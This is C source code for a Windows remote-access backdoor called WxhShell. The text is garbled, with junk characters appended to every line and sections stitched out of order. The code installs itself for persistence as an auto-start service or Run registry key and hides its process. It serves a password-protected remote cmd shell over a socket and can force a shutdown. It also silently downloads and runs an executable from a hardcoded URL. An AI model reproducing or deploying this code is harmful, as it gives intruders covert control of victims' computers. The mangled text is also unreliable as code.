    closesocket(wsh); ~nVO%IxM4J  
    ExitThread(0); |Ix{JP"Lk  
    } \80W?9qj  
    break; <M y+!3\A  
    } [$Dzf<0  
  // 获取shell  ?W3l  
  case 's': { Q)IL]S  
    CmdShell(wsh); r6b;v2!8  
    closesocket(wsh); |zkZF|-  
    ExitThread(0); )bgaqca_{  
    break; A6?!BB=]  
  } > u!# 4  
  // 退出 HM]mOmL90N  
  case 'x': { 6CV9ewr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m|M'vzu1  
    CloseIt(wsh); q:/3uC7   
    break; sQXj?5!  
    } Gp9:#L!  
  // 离开 W]CsKN,K  
  case 'q': { ~Z>!SMXp<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Mj (B*c  
    closesocket(wsh); Z1y=L$t8  
    WSACleanup(); \-W|)H  
    exit(1); Q1'4xWu  
    break; W^k|*Y|  
        } ln2lFfz  
  } %K[u  
  } Q H 57[Yg  
pQNTN.L9NZ  
  // 提示信息 YAsE,M+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p.|M:C\xL  
} ?/1Eu47  
  } K(3_1*e  
EY^+ N>  
  return; JC.nfxG@:  
} _+6aD|7x  
\0fk^  
// shell模块句柄 J=t@2  
int CmdShell(SOCKET sock) rQsYt/  
{ >3?p23|;  
STARTUPINFO si; iF*L-   
ZeroMemory(&si,sizeof(si)); _]t^F9l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; skP'- ^F~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i@L_[d^|j`  
PROCESS_INFORMATION ProcessInfo; Fnc MIzp  
char cmdline[]="cmd"; 928uGo5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {fI"p;|  
  return 0; x(+H1D\W   
} ^N&@7s  
I&9Itn p$  
// 自身启动模式 Y[rRz6.*(  
int StartFromService(void) JFu9_=%+  
{ 8P* d  
typedef struct s# V>+mU  
{ awl3|k/  
  DWORD ExitStatus; U[{vA6  
  DWORD PebBaseAddress; BMO&(g  
  DWORD AffinityMask; \A 5Na-/9  
  DWORD BasePriority; O_ d[{e=5`  
  ULONG UniqueProcessId; tF:AqR: (~  
  ULONG InheritedFromUniqueProcessId; Yy'CBIq#f  
}   PROCESS_BASIC_INFORMATION; `t#9 yN  
-<l2 $&KS  
PROCNTQSIP NtQueryInformationProcess; slQEAqG)B  
* /^}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lx<!*2 -^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /RI"a^&9A  
k] A(nr  
  HANDLE             hProcess; Vt(s4  
  PROCESS_BASIC_INFORMATION pbi;  joBS{]  
T|-llhJ8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j@R"AP}  
  if(NULL == hInst ) return 0; @~bP|a  
E?FUr?-[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LSrKi$   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6x;!E&<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?4#UW7I  
,WBKN)%u  
  if (!NtQueryInformationProcess) return 0; ~3)d?{5  
{dYz|O<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LKBh{X0%(  
  if(!hProcess) return 0; tYp 185  
biPj(Dd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [)?yH3  
Nw '$r  
  CloseHandle(hProcess); ]app9  
0),fY(D2T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (aLjW=  
if(hProcess==NULL) return 0; J7HY(7Nx  
3Ww 37V>h  
HMODULE hMod; @F/,~|{iM  
char procName[255]; .hJcK/m  
unsigned long cbNeeded; Z7I\\M  
/!%?I#K{Wq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?2q0[T?e  
zt!7aVm n  
  CloseHandle(hProcess); P(!%Pp  
^kke  
if(strstr(procName,"services")) return 1; // 以服务启动 PZVH=dagq  
0mNL!"  
  return 0; // 注册表启动 JNo[<SZb  
} j`#H%2W\;  
3WpQzuHPT  
// 主模块 4dy!2KZN  
int StartWxhshell(LPSTR lpCmdLine) 0\Tp/Ph  
{ EQQ@nW{;  
  SOCKET wsl; 86>@.:d  
BOOL val=TRUE; ,w f6gmh8  
  int port=0; S f6%A  
  struct sockaddr_in door; 2B^WZlx  
_St ":9'uU  
  if(wscfg.ws_autoins) Install(); (*kKfg4Wj  
 T\#Gc4  
port=atoi(lpCmdLine); wYLodMaYH  
UXh%DOq   
if(port<=0) port=wscfg.ws_port; _GM?`  
mDk6@Gd@U  
  WSADATA data; SYh>FF"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i(;.Y  
x3sX=jIW_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lq2jXy5#n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); my/KsB  
  door.sin_family = AF_INET; abv*X 1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9m)gp19YA  
  door.sin_port = htons(port); ~dzD7lG6  
&3J^z7kU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t/_\w"  
closesocket(wsl); B`||4*  
return 1; ex^9 l b  
} e*}:t H  
p+5J  
  if(listen(wsl,2) == INVALID_SOCKET) { zhbSiw  
closesocket(wsl); VLVDi>0i  
return 1; ( P=WKZMPN  
} "ZPgl 8  
  Wxhshell(wsl); HAo=t  
  WSACleanup(); u'k+t`V&  
a5aHv/W#P  
return 0;  ?!<Q8=  
^vTx%F  
} 'p78^4'PL  
1k^$:'  
// 以NT服务方式启动 IuA4eDr^Y%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cLRzm9  
{ Z"qJil}  
DWORD   status = 0; H:OpS-b  
  DWORD   specificError = 0xfffffff; O}(sn  
`(gQw~|z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rA^=;?7Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZJ~0o2xZ'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9HPmJ`b  
  serviceStatus.dwWin32ExitCode     = 0; }K`KoM  
  serviceStatus.dwServiceSpecificExitCode = 0; 8aC=k@YE  
  serviceStatus.dwCheckPoint       = 0; Z:Vde^Ih  
  serviceStatus.dwWaitHint       = 0; dA E85  
A:D9qp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ker,;{9C  
  if (hServiceStatusHandle==0) return; Yyd]s\W  
cN FHbMd  
status = GetLastError(); ,G-  
  if (status!=NO_ERROR) GU9G5S.  
{ D(TG)X?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J7C?Z  
    serviceStatus.dwCheckPoint       = 0; H+-x.l`  
    serviceStatus.dwWaitHint       = 0; xWqV~NnE  
    serviceStatus.dwWin32ExitCode     = status; ~-y&C%  
    serviceStatus.dwServiceSpecificExitCode = specificError; tN_=&|{WE4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b:r8r}49  
    return; lkly2|wA  
  } r NKeY48\  
n%G[Y^^,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w{lj'3z I  
  serviceStatus.dwCheckPoint       = 0; V~ MsGj  
  serviceStatus.dwWaitHint       = 0; u 8<[Q]5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _L` uC jA  
} 08{^Ksg  
h-sO7M0E]  
// 处理NT服务事件,比如:启动、停止 C[hNngb7R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :VWN/m  
{ w ^^l,  
switch(fdwControl) WNb2"W  
{ `B&=ya|bl  
case SERVICE_CONTROL_STOP: N 3O!8A_  
  serviceStatus.dwWin32ExitCode = 0; US^%pd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "L`BuAB  
  serviceStatus.dwCheckPoint   = 0; [u=yl0f  
  serviceStatus.dwWaitHint     = 0; Y2tBFeWY  
  { c`hENPhW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *JZ9'|v_H  
  } )E7wBNV   
  return; /ueOc<[8"  
case SERVICE_CONTROL_PAUSE: iPY)Ew`Im  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i%F2^R@!q/  
  break; :is2 &-|x  
case SERVICE_CONTROL_CONTINUE: EE|c@M^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zBwqIJfM  
  break; X2;72  
case SERVICE_CONTROL_INTERROGATE: yiXb<g+B  
  break; 7lAJ 0  
}; 6[RTL2&W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nu3IYS5&  
} ]bmf}&  
VAjl?\}6  
// 标准应用程序主函数 \ZhkOl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8.^`~ta  
{ lKU{jWA  
0bJT0_  
// 获取操作系统版本 +t1+1 Zv  
OsIsNt=GetOsVer(); [`E_/95  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (fr=[m$`  
_D@QsQ_Z  
  // 从命令行安装 VPuo!H  
  if(strpbrk(lpCmdLine,"iI")) Install(); TOgH~R=  
PY4a3dp U  
  // 下载执行文件 UM`$aPz  
if(wscfg.ws_downexe) { ubsv\[:C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -:Fr($^  
  WinExec(wscfg.ws_filenam,SW_HIDE); [T)>RF  
} p[%~d$JUq  
Xt:j~cVA  
if(!OsIsNt) { Y#-c<o}f  
// 如果时win9x,隐藏进程并且设置为注册表启动 EG &me  
HideProc(); X}h}3+V  
StartWxhshell(lpCmdLine); 2$b1q!g<  
} OI:=>Bk  
else }TuMMO4+  
  if(StartFromService()) SX =^C  
  // 以服务方式启动 rW~G'  
  StartServiceCtrlDispatcher(DispatchTable); $:-C9N29  
else .{bT9Sc5  
  // 普通方式启动 )PkGT~3I  
  StartWxhshell(lpCmdLine); Dk")/ ib  
B=X_c5  
return 0; B%))HLo'  
} X.q#ZpK  
y|9 LtQ  
eSMno_Gt3  
4zBcq<R7  
=========================================== I3l1 _  
K #JO#  
abEdZ)$  
{@-tRm&  
?ia O6HD  
-*?{/QmKb  
" {w99~?  
3zM>2)T-  
#include <stdio.h> XFww|SG$  
#include <string.h> y>g`R^^  
#include <windows.h> A  j>  
#include <winsock2.h> ]tbl1=|  
#include <winsvc.h> f-}_  
#include <urlmon.h> ]ddL'>$c$  
=A"z.KfV  
#pragma comment (lib, "Ws2_32.lib") U/rFH9e$  
#pragma comment (lib, "urlmon.lib") gaL.5_1  
HNfd[#gV  
#define MAX_USER   100 // 最大客户端连接数 sNC~S%[  
#define BUF_SOCK   200 // sock buffer 2&F  H8  
#define KEY_BUFF   255 // 输入 buffer Vt4,?"  
6" . v6  
#define REBOOT     0   // 重启 oR<;Tr~{q  
#define SHUTDOWN   1   // 关机 GsE =5A8  
s! sG)AR.J  
#define DEF_PORT   5000 // 监听端口 tZD^<Q7}\  
v #Q(g/^  
#define REG_LEN     16   // 注册表键长度 TiI3<.a!  
#define SVC_LEN     80   // NT服务名长度 k)fLJ9R  
U }}E E~W  
// 从dll定义API `S=4cSH(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2|8$@*-\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _qS4Ns/4s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -$y/*'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3 W?H^1t  
sH)40QmO{  
// wxhshell配置信息 ]-u>HO g\  
struct WSCFG { ew8Manx  
  int ws_port;         // 监听端口 =Xb:.  
  char ws_passstr[REG_LEN]; // 口令 |DoD.?v  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]B-3Lh  
  char ws_regname[REG_LEN]; // 注册表键名 ebB8.(k9G3  
  char ws_svcname[REG_LEN]; // 服务名 uy=E92n3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' C1yqkIa`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f1/i f:~6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bRc~e@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lO^YAOY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [~IFg~*,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0Y ld!L  
T Z@S?r>^  
}; [ST7CrwC  
( ESmP  
// default Wxhshell configuration i.>d#S  
struct WSCFG wscfg={DEF_PORT, )m$i``*<  
    "xuhuanlingzhe", VWE`wan<  
    1, Y\7/`ty  
    "Wxhshell", j2,w1f}T  
    "Wxhshell", YU%U  
            "WxhShell Service", ]AdL   
    "Wrsky Windows CmdShell Service", 6SmawPPP  
    "Please Input Your Password: ", c9N5c  
  1, !mRDzr7  
  "http://www.wrsky.com/wxhshell.exe", a$P$Ngi?S  
  "Wxhshell.exe" 5Gsjt+ o  
    }; cu$i8$?t   
SI@Yct]<g  
// 消息定义模块 Z }Z]["q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .< /.(7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QF`o%mI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (J/!9NS:  
char *msg_ws_ext="\n\rExit."; Wc- 8j2M  
char *msg_ws_end="\n\rQuit."; jneos~ 'n8  
char *msg_ws_boot="\n\rReboot..."; n aB`@  
char *msg_ws_poff="\n\rShutdown..."; 8ORr  
char *msg_ws_down="\n\rSave to "; AIa#t#8${  
r:uW(<EP^  
char *msg_ws_err="\n\rErr!"; ?3+>% bO  
char *msg_ws_ok="\n\rOK!"; [xsiSt?6  
9J'3b <  
char ExeFile[MAX_PATH]; \H5{[ZUn  
int nUser = 0; >On"BP# U  
HANDLE handles[MAX_USER]; -$m?ShDd  
int OsIsNt; Ai lfeHG  
`T;Y%"X!  
SERVICE_STATUS       serviceStatus; w_eUU)z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fq9>t/Zj  
bkfk9P  
// 函数声明 5.e. BT  
int Install(void); jIs2R3B  
int Uninstall(void); LQrm/)4bF5  
int DownloadFile(char *sURL, SOCKET wsh); >E3 lY/[  
int Boot(int flag); PC}m.tE  
void HideProc(void); .JkF{&=B  
int GetOsVer(void); nmrYBw>  
int Wxhshell(SOCKET wsl); jB-)/8.qk  
void TalkWithClient(void *cs); .}l&lj@#  
int CmdShell(SOCKET sock); d~b#dcv$"  
int StartFromService(void);  kwd)5J  
int StartWxhshell(LPSTR lpCmdLine); *PVv=SU  
j,/t<@S>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?nAKB5=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ut xe  
?hQ,'M2  
// 数据结构和表定义 5{&<X.jv  
SERVICE_TABLE_ENTRY DispatchTable[] = 9k@`{+wmZ  
{ Q5s?/r  
{wscfg.ws_svcname, NTServiceMain}, Z|kMoB  
{NULL, NULL} = 5 E:CP  
}; GCgpe(cQ  
bu2'JIDR  
// 自我安装 >%D=#}8l@  
int Install(void) xf.2Ig  
{ j>0~"A  
  char svExeFile[MAX_PATH]; r2*'5jk_  
  HKEY key; =!`\=!y  
  strcpy(svExeFile,ExeFile); ,T|%vqbmw  
RO"*&o'K'  
// 如果是win9x系统,修改注册表设为自启动 [n_H9$   
if(!OsIsNt) { D?w-uR%Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '*KP{"3\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2.K"+%  
  RegCloseKey(key); _ z!0ab  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dIo|i,-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -^ (NIl'  
  RegCloseKey(key); p ?HODwZ  
  return 0; LQMVC^ G  
    } }<wj~f([  
  } %V$ujun`  
} iK"j@1|  
else { \\D~Yg\#  
uxto:6),P<  
// 如果是NT以上系统,安装为系统服务 rwxJR@Ttn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7<=7RPWmD  
if (schSCManager!=0) BX),U  
{ ~~ON!l9n  
  SC_HANDLE schService = CreateService XU0"f!23x  
  ( a<V=C  
  schSCManager, Ej1 [ry  
  wscfg.ws_svcname, ]sjOn?YA+  
  wscfg.ws_svcdisp, oh;F]*k6  
  SERVICE_ALL_ACCESS, qR_"aQ7s2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aAko-,URC  
  SERVICE_AUTO_START, f ( `.q  
  SERVICE_ERROR_NORMAL, IBVP4&}x$  
  svExeFile, $gZ|=(y&r  
  NULL, 1ezQzc2-R  
  NULL, `bZ_=UAb  
  NULL, @D"1}CW  
  NULL, _>5BFQ_  
  NULL nWZrB s _  
  ); ,ASY &J5)7  
  if (schService!=0) j.C C.[$g  
  { ? =IbiT  
  CloseServiceHandle(schService); CWkm\=  
  CloseServiceHandle(schSCManager); #G#gB   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v *:m|wl  
  strcat(svExeFile,wscfg.ws_svcname); rMlbj2T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { raJyo>xXb5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t*Q12Q  
  RegCloseKey(key); n.l p ena  
  return 0; y i@61XI  
    } ((dG<  
  } lQ+-g#`  
  CloseServiceHandle(schSCManager); "<O?KO 3K  
} NHc+QMbou(  
} A)7'\JK7b  
QW2% Gv:  
return 1; TU. h  
} C1G Wi4)  
FpRK^MEkG  
// 自我卸载 m d C. FO-  
int Uninstall(void) NM]6  o  
{ ZRxB"a'  
  HKEY key; F37,u|  
1g/mzC   
if(!OsIsNt) { ac&tpvij  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wOk:Q4OjL  
  RegDeleteValue(key,wscfg.ws_regname); *smo{!0Gg  
  RegCloseKey(key); #-V Kk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vRY4N{v(<  
  RegDeleteValue(key,wscfg.ws_regname); q5RLIstQ\  
  RegCloseKey(key); v^E5'M[A  
  return 0; /cjf 1Dc  
  } WD)[Ac[  
} 6% ,Q  
} d~_OWCg`  
else { [}AcCXg`L  
p' gv5\u[w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 54)}^ftY^  
if (schSCManager!=0) l;;:3:  
{ >ab=LDoM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PHOW,8)dZh  
  if (schService!=0) BW*zj=N%  
  { @)0g Xg  
  if(DeleteService(schService)!=0) { UmJg-~  
  CloseServiceHandle(schService); ~gAx  
  CloseServiceHandle(schSCManager); r:o!w7C:a  
  return 0; lubS{3<  
  } TUUBC%  
  CloseServiceHandle(schService); [gE2lfaEy  
  } }Ag2c; aaq  
  CloseServiceHandle(schSCManager); I'j? T.  
} jW*A(bK8:  
} `<Ftn  
lDA%M3(p  
return 1; c*W$wr  
} v ;A  
aqN.5'2\  
// 从指定url下载文件 %SE g(<  
int DownloadFile(char *sURL, SOCKET wsh) S,v`rmI  
{ S&0x:VW  
  HRESULT hr; Mu%'cwp$  
char seps[]= "/"; O//e0?]W  
char *token;  e?7paJ  
char *file; | jkmh6  
char myURL[MAX_PATH]; 3_>R's8P  
char myFILE[MAX_PATH]; ubQ(O uM"  
6 qq7:  
strcpy(myURL,sURL); 68SM br  
  token=strtok(myURL,seps); jL8zH  
  while(token!=NULL) l1??b  
  { N 4:'X6u;  
    file=token; O<hHo]jLF  
  token=strtok(NULL,seps); x<l1s  
  } ^#4s/mdVO  
7~16letQ  
GetCurrentDirectory(MAX_PATH,myFILE); ymzm x$o=  
strcat(myFILE, "\\"); A_.QHUjpx  
strcat(myFILE, file); L`#+ZLo  
  send(wsh,myFILE,strlen(myFILE),0); piP8ObGjy  
send(wsh,"...",3,0); s :ruCS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  g{%';  
  if(hr==S_OK) 1bBK1Uw  
return 0; w#e'K-=  
else cC4T3]4l'  
return 1; @K9T )p]  
R+K[/AA  
} c&++[  
4(R2V]  
// 系统电源模块 pV7Gh`<y  
int Boot(int flag) 2]+.8G7D%  
{ #-;BU{3*  
  HANDLE hToken; }$-VI\96  
  TOKEN_PRIVILEGES tkp; |$PLZ,  
fDd!Mt  
  if(OsIsNt) { v\Ljm,+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9zJ`;1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =lwS\mNs  
    tkp.PrivilegeCount = 1; L?0l1P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q8Dwu3D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mV,R0olF  
if(flag==REBOOT) { ))`Zv=y"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =FmU]DV  
  return 0; %U GlAyj  
} K_QCYS.  
else { N-gRfra+8L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x1wxB 1)2  
  return 0; (5~C _Y  
} X}(0y  
  } Rs`a@ Fn  
  else { { ZX C%(u  
if(flag==REBOOT) { ?N*0 S'dY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1c#'5~nB  
  return 0; >|)0Amt  
} l,.?-|Poa  
else { #ja`+w}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )\-";?sYky  
  return 0; pGY]Vw Y  
} iwQ-(GjM[A  
} It4z9Gh  
n*Vd<m;w  
return 1; [+g@@\X4  
} ,:4DN&<  
v9U(sEDq  
// win9x进程隐藏模块 |QLX..  
void HideProc(void) wy {>gvqK  
{ `{F~'t['  
V:BX"$ J1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SDHc[66'  
  if ( hKernel != NULL ) {X<4wxeTo  
  { *W12Rb2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *O> aqu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pYl{:uIPN8  
    FreeLibrary(hKernel); T:dm0iau  
  } ttaQlEa=Z  
{|Ki^8h/p  
return; -'[(Uzj  
} F,M"/hnPT  
<m,yFk  
// 获取操作系统版本 ceZ8} Sh  
int GetOsVer(void) 6@q[tN7_^  
{ lhoq3A  
  OSVERSIONINFO winfo; l(,;wAH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x XM!E 8  
  GetVersionEx(&winfo); PCPf*G>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {R-82%X  
  return 1; oD#>8Aws  
  else 0sDwTb"  
  return 0; /%YiZ#  
} D2</^]3Su  
; ,=h59`  
// 客户端句柄模块 rS )b1nPA  
int Wxhshell(SOCKET wsl) wB>S\~i  
{ =+`j?1  
  SOCKET wsh; pEVgJ/>  
  struct sockaddr_in client; -, Q$  
  DWORD myID; g&+Y{*Gp  
T5S g2a1&  
  while(nUser<MAX_USER) U2V^T'Y[  
{ ~sU?"V  
  int nSize=sizeof(client); *SkiFEoD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l]Ui@X  
  if(wsh==INVALID_SOCKET) return 1; ^'&iYV  
~#"7,rQp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -/UXd4S  
if(handles[nUser]==0) _t|G@D{   
  closesocket(wsh); hA*Z'.[  
else Ty3CBR{6  
  nUser++; HX3D*2v":  
  } hB?,7-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e)HhnN@  
W""*hJ  
  return 0; > X[|c"l.  
} O xT}I  
{jOzap|  
// 关闭 socket xN`r4  
void CloseIt(SOCKET wsh) > 'aG /(  
{ +_ *eu  
closesocket(wsh); w dGpt_  
nUser--; wfBuU>  
ExitThread(0); <E>7>ZL  
} "H>r-cyh  
O`i)?BC  
// 客户端请求句柄 ;Y'8:ncDn  
void TalkWithClient(void *cs) By?nd)  
{ (;0$i?3\  
48tcgFg[  
  SOCKET wsh=(SOCKET)cs; %n05 Jitl  
  char pwd[SVC_LEN]; 4>4V-m\  
  char cmd[KEY_BUFF]; e9CP802#2  
char chr[1]; ih>a~U<  
int i,j; +"cRhVR  
x37/cu  
  while (nUser < MAX_USER) { SU%mmw ES3  
t=n+3`g  
if(wscfg.ws_passstr) { +I|Rk&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8P,l>HA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z,pNb%*O  
  //ZeroMemory(pwd,KEY_BUFF); P<%v +O  
      i=0; t< sp%zXZ  
  while(i<SVC_LEN) { 9p <:=T  
7:n?PN(p6a  
  // 设置超时 gjW\ XY  
  fd_set FdRead; oW0gU?Rr)u  
  struct timeval TimeOut; {7vgHutp  
  FD_ZERO(&FdRead); i=oTg  
  FD_SET(wsh,&FdRead); }>2t&+v+  
  TimeOut.tv_sec=8; \UQ9MX _  
  TimeOut.tv_usec=0; bqSMDK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B@ -|b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Ei5z6Vk/+  
N83!C=X'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xEjx]w/&  
  pwd=chr[0]; ~gP7s_ qr{  
  if(chr[0]==0xd || chr[0]==0xa) { ?RHn @$g8M  
  pwd=0; M~uMY+>   
  break; 0HqPyM13Q  
  } _B)s=Snx  
  i++; <mL%P`Jj  
    } Y?<)Dg.[  
>tN5vWW  
  // 如果是非法用户,关闭 socket .}o~VT:!?Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0; 7#ji  
} W!t{rI72  
;AKwx|I$g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +jUgx;u,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {@3z\wMK$  
` M:DZNy,  
while(1) { @Tm`d ?^  
zX98c  
  ZeroMemory(cmd,KEY_BUFF); 1I ""X]I_  
/hL\,x 2  
      // 自动支持客户端 telnet标准   _ Hc%4I  
  j=0; !$_~x 8K1-  
  while(j<KEY_BUFF) { Lbcy:E*g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +~N!9eMc  
  cmd[j]=chr[0]; \^jjK,OK  
  if(chr[0]==0xa || chr[0]==0xd) { [@//#}5v  
  cmd[j]=0; &:<, c12  
  break; GF*>~_Yr  
  } eTT) P  
  j++; 6#U^< `  
    } $E\^v^LW  
h$>wv`  
  // 下载文件 }9^@5!qX  
  if(strstr(cmd,"http://")) { Sm)u9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +"dv7  
  if(DownloadFile(cmd,wsh)) \|.7-X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <`)iA-Df;9  
  else @ &pqt6/t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?^}_j vT  
  } D<>@ %"%  
  else { |0g{"}%  
rOcg+5  
    switch(cmd[0]) { >&Y-u%}U  
  Y%@hbUc}x9  
  // 帮助 X:|8vS+0gU  
  case '?': { $,ikv?"L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BhkoSkr  
    break; 1& ^?U{  
  } V kjuyK  
  // 安装 qtMD CXZ^n  
  case 'i': { .X'pq5  
    if(Install()) i{Ds&{  
